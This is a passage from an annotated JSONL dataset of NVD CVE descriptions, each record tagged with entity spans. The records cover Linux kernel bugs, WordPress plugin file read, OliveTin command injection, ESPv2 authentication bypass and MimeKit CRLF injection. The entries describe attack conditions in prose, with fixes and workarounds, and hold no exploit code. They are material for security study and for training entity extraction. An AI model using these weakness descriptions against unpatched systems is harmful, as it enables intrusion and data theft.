0000000000000057\n  Call trace:\n   nvidia_smmu_context_fault+0x1c/0x158\n   __free_irq+0x1d4/0x2e8\n   free_irq+0x3c/0x80\n   devm_free_irq+0x64/0xa8\n   arm_smmu_domain_free+0xc4/0x158\n   iommu_domain_free+0x44/0xa0\n   iommu_deinit_device+0xd0/0xf8\n   __iommu_group_remove_device+0xcc/0xe0\n   iommu_bus_notifier+0x64/0xa8\n   notifier_call_chain+0x78/0x148\n   blocking_notifier_call_chain+0x4c/0x90\n   bus_notify+0x44/0x70\n   device_del+0x264/0x3e8\n   pci_remove_bus_device+0x84/0x120\n   pci_remove_root_bus+0x5c/0xc0\n   dw_pcie_host_deinit+0x38/0xe0\n   tegra_pcie_config_rp+0xc0/0x1f0\n   tegra_pcie_dw_probe+0x34c/0x700\n   platform_probe+0x70/0xe8\n   really_probe+0xc8/0x3a0\n   __driver_probe_device+0x84/0x160\n   driver_probe_device+0x44/0x130\n   __device_attach_driver+0xc4/0x170\n   bus_for_each_drv+0x90/0x100\n   __device_attach+0xa8/0x1c8\n   device_initial_probe+0x1c/0x30\n   bus_probe_device+0xb0/0xc0\n   deferred_probe_work_func+0xbc/0x120\n   process_one_work+0x194/0x490\n   worker_thread+0x284/0x3b0\n   kthread+0xf4/0x108\n   ret_from_fork+0x10/0x20\n  Code: a9b97bfd 910003fd a9025bf5 f85a0035 (b94122a1)", "spans": {"FILEPATH: /19/2023": [[1255, 1263]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: NVIDIA": [[1190, 1196], [1212, 1218]], "VULNERABILITY: NULL pointer dereference": [[489, 513]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36884"}}
{"text": "Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Popup windows). Supported versions that are affected are 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [292, 298], [440, 446], [636, 642]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14746"}}
{"text": "The Everest Forms plugin for WordPress is vulnerable to Arbitrary File Read and Deletion in all versions up to, and including, 3.4.4. This is due to the plugin trusting attacker-controlled old_files data from public form submissions as legitimate server-side upload state, and converting attacker-supplied URLs into local filesystem paths using regex-based string replacement without canonicalization or directory boundary enforcement. This makes it possible for unauthenticated attackers to read arbitrary local files (e.g., wp-config.php) by injecting path-traversal payloads into the old_files upload field parameter, which are then attached to notification emails. The same path resolution is also used in the post-email cleanup routine, which calls unlink() on the resolved path, resulting in the targeted file being deleted after being attached. This can lead to full site compromise through disclosure of database credentials and authentication salts from wp-config.php, and denial of service through deletion of critical files. Prerequisite: The form must contain a file-upload or image-upload field, and disable storing entry information.", "spans": {"FILEPATH: config.php": [[529, 539], [966, 976]], "SYSTEM: WordPress": [[29, 38]], "VULNERABILITY: Arbitrary File Read": [[56, 75]], "VULNERABILITY: denial of service": [[982, 999]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5478"}}
{"text": "Himmelblau is an interoperability suite for Microsoft Azure Entra ID and Intune. Starting in version 0.7.0 and prior to versions 0.7.15 and 0.8.3, Himmelblau is vulnerable to leaking credentials in debug logs. When debug logging is enabled, user access tokens are inadvertently logged, potentially exposing sensitive authentication data. Similarly, Kerberos Ticket-Granting Tickets (TGTs) are logged when debug logging is enabled. Both issues pose a risk of exposing sensitive credentials, particularly in environments where debug logging is enabled. Himmelblau versions 0.7.15 and 0.8.3 contain a patch that fixes both issues. Some workarounds are available for users who are unable to upgrade. For the **logon compliance script issue**, disable the `logon_script` option in `/etc/himmelblau/himmelblau.conf`, and avoid using the `-d` flag when starting the `himmelblaud` daemon. For the Kerberos CCache issue, one may disable debug logging globally by setting the `debug` option in `/etc/himmelblau/himmelblau.conf` to `false` and avoiding the `-d` parameter when starting `himmelblaud`.", "spans": {"FILEPATH: /etc/himmelblau/himmelblau.conf": [[777, 808], [985, 1016]], "ORGANIZATION: Microsoft": [[44, 53]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-24034"}}
{"text": "An Improper Handling of Unexpected Data Type vulnerability in the handling of SIP calls in Juniper Networks Junos OS on SRX Series and MX Series platforms allows an attacker to cause a memory leak leading to Denial of Services (DoS). This issue occurs on all MX Series platforms with MS-MPC or MS-MIC card and all SRX Series platforms where SIP ALG is enabled. Successful exploitation of this vulnerability prevents additional SIP calls and applications from succeeding. The SIP ALG needs to be enabled, either implicitly / by default or by way of configuration. To confirm whether SIP ALG is enabled on SRX use the following command: user@host> show security alg status | match sip SIP : Enabled This issue affects Juniper Networks Junos OS on SRX Series and on MX Series: All versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R2-S8, 19.4R3-S10; 20.1 versions 20.1R1 and later versions; 20.2 versions prior to 20.2R3-S6; 20.3 versions prior to 20.3R3-S6; 20.4 versions prior to 20.4R3-S5; 21.1 versions prior to 21.1R3-S5; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2-S2, 21.4R3; 22.1 versions prior to 22.1R1-S2, 22.1R2, 22.1R3-S1. This issue does not affect Juniper Networks Junos OS on SRX Series and on MX Series: All versions prior to 18.2R1.", "spans": {"ORGANIZATION: Juniper": [[91, 98], [716, 723], [1217, 1224]], "VULNERABILITY: memory leak": [[185, 196]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22394"}}
{"text": "HomeAutomation 3.3.2 suffers from an authenticated OS command execution vulnerability using custom command v0.1 plugin. This can be exploited with a CSRF vulnerability to execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off' POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by using an unsanitized PHP exec() function.", "spans": {"FILEPATH: /system/systemplugins/customcommand/customcommand.plugin.php": [[287, 347]], "SYSTEM: PHP": [[373, 376]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-22000"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: Destroy target device if coalesced MMIO unregistration fails\n\nDestroy and free the target coalesced MMIO device if unregistering said\ndevice fails.  As clearly noted in the code, kvm_io_bus_unregister_dev()\ndoes not destroy the target device.\n\n  BUG: memory leak\n  unreferenced object 0xffff888112a54880 (size 64):\n    comm \"syz-executor.2\", pid 5258, jiffies 4297861402 (age 14.129s)\n    hex dump (first 32 bytes):\n      38 c7 67 15 00 c9 ff ff 38 c7 67 15 00 c9 ff ff  8.g.....8.g.....\n      e0 c7 e1 83 ff ff ff ff 00 30 67 15 00 c9 ff ff  .........0g.....\n    backtrace:\n      [<0000000006995a8a>] kmalloc include/linux/slab.h:556 [inline]\n      [<0000000006995a8a>] kzalloc include/linux/slab.h:690 [inline]\n      [<0000000006995a8a>] kvm_vm_ioctl_register_coalesced_mmio+0x8e/0x3d0 arch/x86/kvm/../../../virt/kvm/coalesced_mmio.c:150\n      [<00000000022550c2>] kvm_vm_ioctl+0x47d/0x1600 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3323\n      [<000000008a75102f>] vfs_ioctl fs/ioctl.c:46 [inline]\n      [<000000008a75102f>] file_ioctl fs/ioctl.c:509 [inline]\n      [<000000008a75102f>] do_vfs_ioctl+0xbab/0x1160 fs/ioctl.c:696\n      [<0000000080e3f669>] ksys_ioctl+0x76/0xa0 fs/ioctl.c:713\n      [<0000000059ef4888>] __do_sys_ioctl fs/ioctl.c:720 [inline]\n      [<0000000059ef4888>] __se_sys_ioctl fs/ioctl.c:718 [inline]\n      [<0000000059ef4888>] __x64_sys_ioctl+0x6f/0xb0 fs/ioctl.c:718\n      [<000000006444fa05>] do_syscall_64+0x9f/0x4e0 arch/x86/entry/common.c:290\n      [<000000009a4ed50b>] entry_SYSCALL_64_after_hwframe+0x49/0xbe\n\n  BUG: leak checking failed", "spans": {"FILEPATH: /linux/slab.h": [[691, 704], [760, 773]], "FILEPATH: /x86/kvm/../../../virt/kvm/coalesced_mmio.c": [[866, 909]], "FILEPATH: /x86/kvm/../../../virt/kvm/kvm_main.c": [[971, 1008]], "FILEPATH: /x86/entry/common.c": [[1523, 1542]], "FILEPATH: ioctl.c": [[1054, 1061], [1115, 1122], [1192, 1199], [1255, 1262], [1312, 1319], [1378, 1385], [1455, 1462]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]], "VULNERABILITY: memory leak": [[325, 336]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54024"}}
{"text": "OliveTin gives access to predefined shell commands from a web interface. In versions up to and including 3000.10.0, OliveTin's shell mode safety check (`checkShellArgumentSafety`) blocks several dangerous argument types but not `password`. A user supplying a `password`-typed argument can inject shell metacharacters that execute arbitrary OS commands. A second independent vector allows unauthenticated RCE via webhook-extracted JSON values that skip type safety checks entirely before reaching `sh -c`. When exploiting vector 1, any authenticated user (registration enabled by default, `authType: none` by default) can execute arbitrary OS commands on the OliveTin host with the permissions of the OliveTin process. When exploiting vector 2, an unauthenticated attacker can achieve the same if the instance receives webhooks from external sources, which is a primary OliveTin use case. When an attacker exploits both vectors, this results in unauthenticated RCE on any OliveTin instance using Shell mode with webhook-triggered actions. As of time of publication, a patched version is not available.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27626"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnbd: defer config put in recv_work\n\nThere is one uaf issue in recv_work when running NBD_CLEAR_SOCK and\nNBD_CMD_RECONFIGURE:\n  nbd_genl_connect     // conf_ref=2 (connect and recv_work A)\n  nbd_open\t       // conf_ref=3\n  recv_work A done     // conf_ref=2\n  NBD_CLEAR_SOCK       // conf_ref=1\n  nbd_genl_reconfigure // conf_ref=2 (trigger recv_work B)\n  close nbd\t       // conf_ref=1\n  recv_work B\n    config_put         // conf_ref=0\n    atomic_dec(&config->recv_threads); -> UAF\n\nOr only running NBD_CLEAR_SOCK:\n  nbd_genl_connect   // conf_ref=2\n  nbd_open \t     // conf_ref=3\n  NBD_CLEAR_SOCK     // conf_ref=2\n  close nbd\n    nbd_release\n      config_put     // conf_ref=1\n  recv_work\n    config_put \t     // conf_ref=0\n    atomic_dec(&config->recv_threads); -> UAF\n\nCommit 87aac3a80af5 (\"nbd: call nbd_config_put() before notifying the\nwaiter\") moved nbd_config_put() to run before waking up the waiter in\nrecv_work, in order to ensure that nbd_start_device_ioctl() would not\nbe woken up while nbd->task_recv was still uncleared.\n\nHowever, in nbd_start_device_ioctl(), after being woken up it explicitly\ncalls flush_workqueue() to make sure all current works are finished.\nTherefore, there is no need to move the config put ahead of the wakeup.\n\nMove nbd_config_put() to the end of recv_work, so that the reference is\nheld for the whole lifetime of the worker thread. This makes sure the\nconfig cannot be freed while recv_work is still running, even if clear\n+ reconfigure interleave.\n\nIn addition, we don't need to worry about recv_work dropping the last\nnbd_put (which causes deadlock):\n\npath A (netlink with NBD_CFLAG_DESTROY_ON_DISCONNECT):\n  connect  // nbd_refs=1 (trigger recv_work)\n  open nbd // nbd_refs=2\n  NBD_CLEAR_SOCK\n  close nbd\n    nbd_release\n      nbd_disconnect_and_put\n        flush_workqueue // recv_work done\n      nbd_config_put\n        nbd_put // nbd_refs=1\n      nbd_put // nbd_refs=0\n        queue_work\n\npath B (netlink without NBD_CFLAG_DESTROY_ON_DISCONNECT):\n  connect  // nbd_refs=2 (trigger recv_work)\n  open nbd // nbd_refs=3\n  NBD_CLEAR_SOCK // conf_refs=2\n  close nbd\n    nbd_release\n      nbd_config_put // conf_refs=1\n      nbd_put // nbd_refs=2\n  recv_work done // conf_refs=0, nbd_refs=1\n  rmmod // nbd_refs=0\n\nDepends-on: e2daec488c57 (\"nbd: Fix hungtask when nbd_config_put\")", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68372"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions the code for `tf.raw_ops.SaveV2` does not properly validate the inputs and an attacker can trigger a null pointer dereference. The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/save_restore_v2_ops.cc) uses `ValidateInputs` to check that the input arguments are valid. This validation would have caught the illegal state represented by the reproducer above. However, the validation uses `OP_REQUIRES` which translates to setting the `Status` object of the current `OpKernelContext` to an error status, followed by an empty `return` statement which just terminates the execution of the function it is present in. However, this does not mean that the kernel execution is finalized: instead, execution continues from the next line in `Compute` that follows the call to `ValidateInputs`. This is equivalent to lacking the validation. We have patched the issue in GitHub commit 9728c60e136912a12d99ca56e106b7cce7af5986. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/save_restore_v2_ops.cc": [[240, 373]], "HASH: 9728c60e136912a12d99ca56e106b7cce7af5986": [[1046, 1086]], "ORGANIZATION: GitHub": [[1032, 1038]], "VULNERABILITY: null pointer dereference": [[193, 217]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37648"}}
{"text": "A Zip Slip vulnerability was found in the oc binary in openshift-clients where an arbitrary file write is achieved by using a specially crafted raw container image (.tar file) which contains symbolic links. The vulnerability is limited to the command `oc image extract`. If a symbolic link is first created pointing within the tarball, this allows further symbolic links to bypass the existing path check. This flaw allows the tarball to create links outside the tarball's parent directory, allowing for executables or configuration files to be overwritten, resulting in arbitrary code execution. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. Versions up to and including openshift-clients-4.7.0-202104250659.p0.git.95881af are affected.", "spans": {"VULNERABILITY: arbitrary file write": [[82, 102]], "VULNERABILITY: code execution": [[581, 595]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27833"}}
{"text": "ESPv2 is a service proxy that provides API management capabilities using Google Service Infrastructure. ESPv2 2.20.0 through 2.42.0 contains an authentication bypass vulnerability. API clients can craft a malicious `X-HTTP-Method-Override` header value to bypass JWT authentication in specific cases.\n\nESPv2 allows malicious requests to bypass authentication if both the conditions are true: The requested HTTP method is **not** in the API service definition (OpenAPI spec or gRPC `google.api.http` proto annotations, and the specified `X-HTTP-Method-Override` is a valid HTTP method in the API service definition. ESPv2 will forward the request to your backend without checking the JWT. Attackers can craft requests with a malicious `X-HTTP-Method-Override` value that allows them to bypass specifying JWTs. Restricting API access with API keys works as intended and is not affected by this vulnerability.\n\nUpgrade deployments to release v2.43.0 or higher to receive a patch. This release ensures that JWT authentication occurs, even when the caller specifies `x-http-method-override`. `x-http-method-override` is still supported by v2.43.0+. API clients can continue sending this header to ESPv2.", "spans": {"ORGANIZATION: Google": [[73, 79]], "VULNERABILITY: authentication bypass": [[144, 165]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30845"}}
{"text": "Gradle Build Action allows users to execute a Gradle Build in their GitHub Actions workflow. A vulnerability impacts GitHub workflows using the Gradle Build Action prior to version 2.4.2 that have executed the Gradle Build Tool with the configuration cache enabled, potentially exposing secrets configured for the repository.\n\nSecrets configured for GitHub Actions are normally passed to the Gradle Build Tool via environment variables. Due to the way that the Gradle Build Tool records these environment variables, they may be persisted into an entry in the GitHub Actions cache. This data stored in the GitHub Actions cache can be read by a GitHub Actions workflow running in an untrusted context, such as that running for a Pull Request submitted by a developer via a repository fork.\n\nThis vulnerability was discovered internally through code review, and we have not seen any evidence of it being exploited in the wild. However, in addition to upgrading the Gradle Build Action, affected users should delete any potentially vulnerable cache entries and may choose to rotate any potentially affected secrets.\n\nGradle Build Action v2.4.2 and newer no longer saves this sensitive data for later use, preventing ongoing leakage of secrets via the GitHub Actions Cache.\n\nWhile upgrading to the latest version of the Gradle Build Action will prevent leakage of secrets going forward, additional actions may be required due to current or previous GitHub Actions Cache entries containing this information.\n\nCurrent cache entries will remain vulnerable until they are forcibly deleted or they expire naturally after 7 days of not being used. Potentially vulnerable entries can be easily identified in the GitHub UI by searching for a cache entry with key matching `configuration-cache-*`. The maintainers recommend that users of the Gradle Build Action inspect their list of cache entries and manually delete any that match this pattern.\n\nWhile maintainers have not seen any evidence of this vulnerability being exploited, they recommend cycling any repository secrets if you cannot be certain that these have not been compromised. Compromise could occur if a user runs a GitHub Actions workflow for a pull request attempting to exploit this data. \nWarning signs to look for in a pull request include:\n- Making changes to GitHub Actions workflow files in a way that may attempt to read/extract data from the Gradle User Home or `<project-root>/.gradle` directories.\n- Making changes to Gradle build files or other executable files that may be invoked by a GitHub Actions workflow, in a way that may attempt to read/extract information from these locations.\n\nSome workarounds to limit the impact of this vulnerability are available:\n- If the Gradle project does not opt-in to using the configuration cache, then it is not vulnerable. \n- If the Gradle project does opt-in to using the configuration-cache by default, then the `--no-configuration-cache` command-line argument can be used to disable this feature in a GitHub Actions workflow.\n\nIn any case, we recommend that users carefully inspect any pull request before approving the execution of GitHub Actions workflows. It may be prudent to require approval for all PRs from external contributors.", "spans": {"ORGANIZATION: GitHub": [[68, 74], [117, 123], [350, 356], [559, 565], [605, 611], [643, 649], [1247, 1253], [1444, 1450], [1700, 1706], [2167, 2173], [2317, 2323], [2551, 2557], [3009, 3015], [3141, 3147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30853"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/chrome: cros_ec_uart: properly fix race condition\n\nThe cros_ec_uart_probe() function calls devm_serdev_device_open() before\nit calls serdev_device_set_client_ops(). This can trigger a NULL pointer\ndereference:\n\n    BUG: kernel NULL pointer dereference, address: 0000000000000000\n    ...\n    Call Trace:\n     <TASK>\n     ...\n     ? ttyport_receive_buf\n\nA simplified version of crashing code is as follows:\n\n    static inline size_t serdev_controller_receive_buf(struct serdev_controller *ctrl,\n                                                      const u8 *data,\n                                                      size_t count)\n    {\n            struct serdev_device *serdev = ctrl->serdev;\n\n            if (!serdev || !serdev->ops->receive_buf) // CRASH!\n                return 0;\n\n            return serdev->ops->receive_buf(serdev, data, count);\n    }\n\nIt assumes that if SERPORT_ACTIVE is set and serdev exists, serdev->ops\nwill also exist. This conflicts with the existing cros_ec_uart_probe()\nlogic, as it first calls devm_serdev_device_open() (which sets\nSERPORT_ACTIVE), and only later sets serdev->ops via\nserdev_device_set_client_ops().\n\nCommit 01f95d42b8f4 (\"platform/chrome: cros_ec_uart: fix race\ncondition\") attempted to fix a similar race condition, but while doing\nso, made the window of error for this race condition to happen much\nwider.\n\nAttempt to fix the race condition again, making sure we fully setup\nbefore calling devm_serdev_device_open().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[305, 329]], "VULNERABILITY: race condition": [[113, 127], [1330, 1344], [1400, 1414], [1457, 1471]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35977"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrpmsg: virtio: Free driver_override when rpmsg_remove()\n\nFree driver_override when rpmsg_remove(), otherwise\nthe following memory leak will occur:\n\nunreferenced object 0xffff0000d55d7080 (size 128):\n  comm \"kworker/u8:2\", pid 56, jiffies 4294893188 (age 214.272s)\n  hex dump (first 32 bytes):\n    72 70 6d 73 67 5f 6e 73 00 00 00 00 00 00 00 00  rpmsg_ns........\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<000000009c94c9c1>] __kmem_cache_alloc_node+0x1f8/0x320\n    [<000000002300d89b>] __kmalloc_node_track_caller+0x44/0x70\n    [<00000000228a60c3>] kstrndup+0x4c/0x90\n    [<0000000077158695>] driver_set_override+0xd0/0x164\n    [<000000003e9c4ea5>] rpmsg_register_device_override+0x98/0x170\n    [<000000001c0c89a8>] rpmsg_ns_register_device+0x24/0x30\n    [<000000008bbf8fa2>] rpmsg_probe+0x2e0/0x3ec\n    [<00000000e65a68df>] virtio_dev_probe+0x1c0/0x280\n    [<00000000443331cc>] really_probe+0xbc/0x2dc\n    [<00000000391064b1>] __driver_probe_device+0x78/0xe0\n    [<00000000a41c9a5b>] driver_probe_device+0xd8/0x160\n    [<000000009c3bd5df>] __device_attach_driver+0xb8/0x140\n    [<0000000043cd7614>] bus_for_each_drv+0x7c/0xd4\n    [<000000003b929a36>] __device_attach+0x9c/0x19c\n    [<00000000a94e0ba8>] device_initial_probe+0x14/0x20\n    [<000000003c999637>] bus_probe_device+0xa0/0xac", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[192, 203]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52670"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/sgx: Resolves SECS reclaim vs. page fault for EAUG race\n\nThe SGX EPC reclaimer (ksgxd) may reclaim the SECS EPC page for an\nenclave and set secs.epc_page to NULL. The SECS page is used for EAUG\nand ELDU in the SGX page fault handler. However, the NULL check for\nsecs.epc_page is only done for ELDU, not EAUG before being used.\n\nFix this by doing the same NULL check and reloading of the SECS page as\nneeded for both EAUG and ELDU.\n\nThe SECS page holds global enclave metadata. It can only be reclaimed\nwhen there are no other enclave pages remaining. At that point,\nvirtually nothing can be done with the enclave until the SECS page is\npaged back in.\n\nAn enclave can not run nor generate page faults without a resident SECS\npage. But it is still possible for a #PF for a non-SECS page to race\nwith paging out the SECS page: when the last resident non-SECS page A\ntriggers a #PF in a non-resident page B, and then page A and the SECS\nboth are paged out before the #PF on B is handled.\n\nHitting this bug requires that race triggered with a #PF for EAUG.\nFollowing is a trace when it happens.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nRIP: 0010:sgx_encl_eaug_page+0xc7/0x210\nCall Trace:\n ? __kmem_cache_alloc_node+0x16a/0x440\n ? xa_load+0x6e/0xa0\n sgx_vma_fault+0x119/0x230\n __do_fault+0x36/0x140\n do_fault+0x12f/0x400\n __handle_mm_fault+0x728/0x1110\n handle_mm_fault+0x105/0x310\n do_user_addr_fault+0x1ee/0x750\n ? __this_cpu_preempt_check+0x13/0x20\n exc_page_fault+0x76/0x180\n asm_exc_page_fault+0x27/0x30", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1176, 1200]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52568"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qcom-rng - ensure buffer for generate is completely filled\n\nThe generate function in struct rng_alg expects that the destination\nbuffer is completely filled if the function returns 0. qcom_rng_read()\ncan run into a situation where the buffer is partially filled with\nrandomness and the remaining part of the buffer is zeroed since\nqcom_rng_generate() doesn't check the return value. This issue can\nbe reproduced by running the following from libkcapi:\n\n    kcapi-rng -b 9000000 > OUTFILE\n\nThe generated OUTFILE will have three huge sections that contain all\nzeros, and this is caused by the code where the test\n'val & PRNG_STATUS_DATA_AVAIL' fails.\n\nLet's fix this issue by ensuring that qcom_rng_read() always returns\nwith a full buffer if the function returns success. Let's also have\nqcom_rng_generate() return the correct value.\n\nHere's some statistics from the ent project\n(https://www.fourmilab.ch/random/) that shows information about the\nquality of the generated numbers:\n\n    $ ent -c qcom-random-before\n    Value Char Occurrences Fraction\n      0           606748   0.067416\n      1            33104   0.003678\n      2            33001   0.003667\n    ...\n    253   �        32883   0.003654\n    254   �        33035   0.003671\n    255   �        33239   0.003693\n\n    Total:       9000000   1.000000\n\n    Entropy = 7.811590 bits per byte.\n\n    Optimum compression would reduce the size\n    of this 9000000 byte file by 2 percent.\n\n    Chi square distribution for 9000000 samples is 9329962.81, and\n    randomly would exceed this value less than 0.01 percent of the\n    times.\n\n    Arithmetic mean value of data bytes is 119.3731 (127.5 = random).\n    Monte Carlo value for Pi is 3.197293333 (error 1.77 percent).\n    Serial correlation coefficient is 0.159130 (totally uncorrelated =\n    0.0).\n\nWithout this patch, the results of the chi-square test is 0.01%, and\nthe numbers are certainly not random according to ent's project page.\nThe results improve with this patch:\n\n    $ ent -c qcom-random-after\n    Value Char Occurrences Fraction\n      0            35432   0.003937\n      1            35127   0.003903\n      2            35424   0.003936\n    ...\n    253   �        35201   0.003911\n    254   �        34835   0.003871\n    255   �        35368   0.003930\n\n    Total:       9000000   1.000000\n\n    Entropy = 7.999979 bits per byte.\n\n    Optimum compression would reduce the size\n    of this 9000000 byte file by 0 percent.\n\n    Chi square distribution for 9000000 samples is 258.77, and randomly\n    would exceed this value 42.24 percent of the times.\n\n    Arithmetic mean value of data bytes is 127.5006 (127.5 = random).\n    Monte Carlo value for Pi is 3.141277333 (error 0.01 percent).\n    Serial correlation coefficient is 0.000468 (totally uncorrelated =\n    0.0).\n\nThis change was tested on a Nexus 5 phone (msm8974 SoC).", "spans": {"URL: https://www.fourmilab.ch/random/": [[956, 988]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48629"}}
{"text": "MimeKit is a C# library which may be used for the creation and parsing of messages using the Multipurpose Internet Mail Extension (MIME), as defined by numerous IETF specifications. Prior to version 4.15.1, a CRLF injection vulnerability in MimeKit allows an attacker to embed \\r\\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session. RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous. This issue has been patched in version 4.15.1.", "spans": {"VULNERABILITY: command injection": [[425, 442]], "VULNERABILITY: header injection": [[515, 531]], "VULNERABILITY: CRLF injection": [[209, 223], [1009, 1023]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30227"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: ar9331: register the mdiobus under devres\n\nAs explained in commits:\n74b6d7d13307 (\"net: dsa: realtek: register the MDIO bus under devres\")\n5135e96a3dd2 (\"net: dsa: don't allocate the slave_mii_bus using devres\")\n\nmdiobus_free() will panic when called from devm_mdiobus_free() <-\ndevres_release_all() <- __device_release_driver(), and that mdiobus was\nnot previously unregistered.\n\nThe ar9331 is an MDIO device, so the initial set of constraints that I\nthought would cause this (I2C or SPI buses which call ->remove on\n->shutdown) do not apply. But there is one more which applies here.\n\nIf the DSA master itself is on a bus that calls ->remove from ->shutdown\n(like dpaa2-eth, which is on the fsl-mc bus), there is a device link\nbetween the switch and the DSA master, and device_links_unbind_consumers()\nwill unbind the ar9331 switch driver on shutdown.\n\nSo the same treatment must be applied to all DSA switch drivers, which\nis: either use devres for both the mdiobus allocation and registration,\nor don't use devres at all.\n\nThe ar9331 driver doesn't have a complex code structure for mdiobus\nremoval, so just replace of_mdiobus_register with the devres variant in\norder to be all-devres and ensure that we don't free a still-registered\nbus.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48817"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix memory leak of qgroup_list in btrfs_add_qgroup_relation\n\nWhen btrfs_add_qgroup_relation() is called with invalid qgroup levels\n(src >= dst), the function returns -EINVAL directly without freeing the\npreallocated qgroup_list structure passed by the caller. This causes a\nmemory leak because the caller unconditionally sets the pointer to NULL\nafter the call, preventing any cleanup.\n\nThe issue occurs because the level validation check happens before the\nmutex is acquired and before any error handling path that would free\nthe prealloc pointer. On this early return, the cleanup code at the\n'out' label (which includes kfree(prealloc)) is never reached.\n\nIn btrfs_ioctl_qgroup_assign(), the code pattern is:\n\n    prealloc = kzalloc(sizeof(*prealloc), GFP_KERNEL);\n    ret = btrfs_add_qgroup_relation(trans, sa->src, sa->dst, prealloc);\n    prealloc = NULL;  // Always set to NULL regardless of return value\n    ...\n    kfree(prealloc);  // This becomes kfree(NULL), does nothing\n\nWhen the level check fails, 'prealloc' is never freed by either the\ncallee or the caller, resulting in a 64-byte memory leak per failed\noperation. This can be triggered repeatedly by an unprivileged user\nwith access to a writable btrfs mount, potentially exhausting kernel\nmemory.\n\nFix this by freeing prealloc before the early return, ensuring prealloc\nis always freed on all error paths.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[80, 91], [350, 361], [1173, 1184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40209"}}
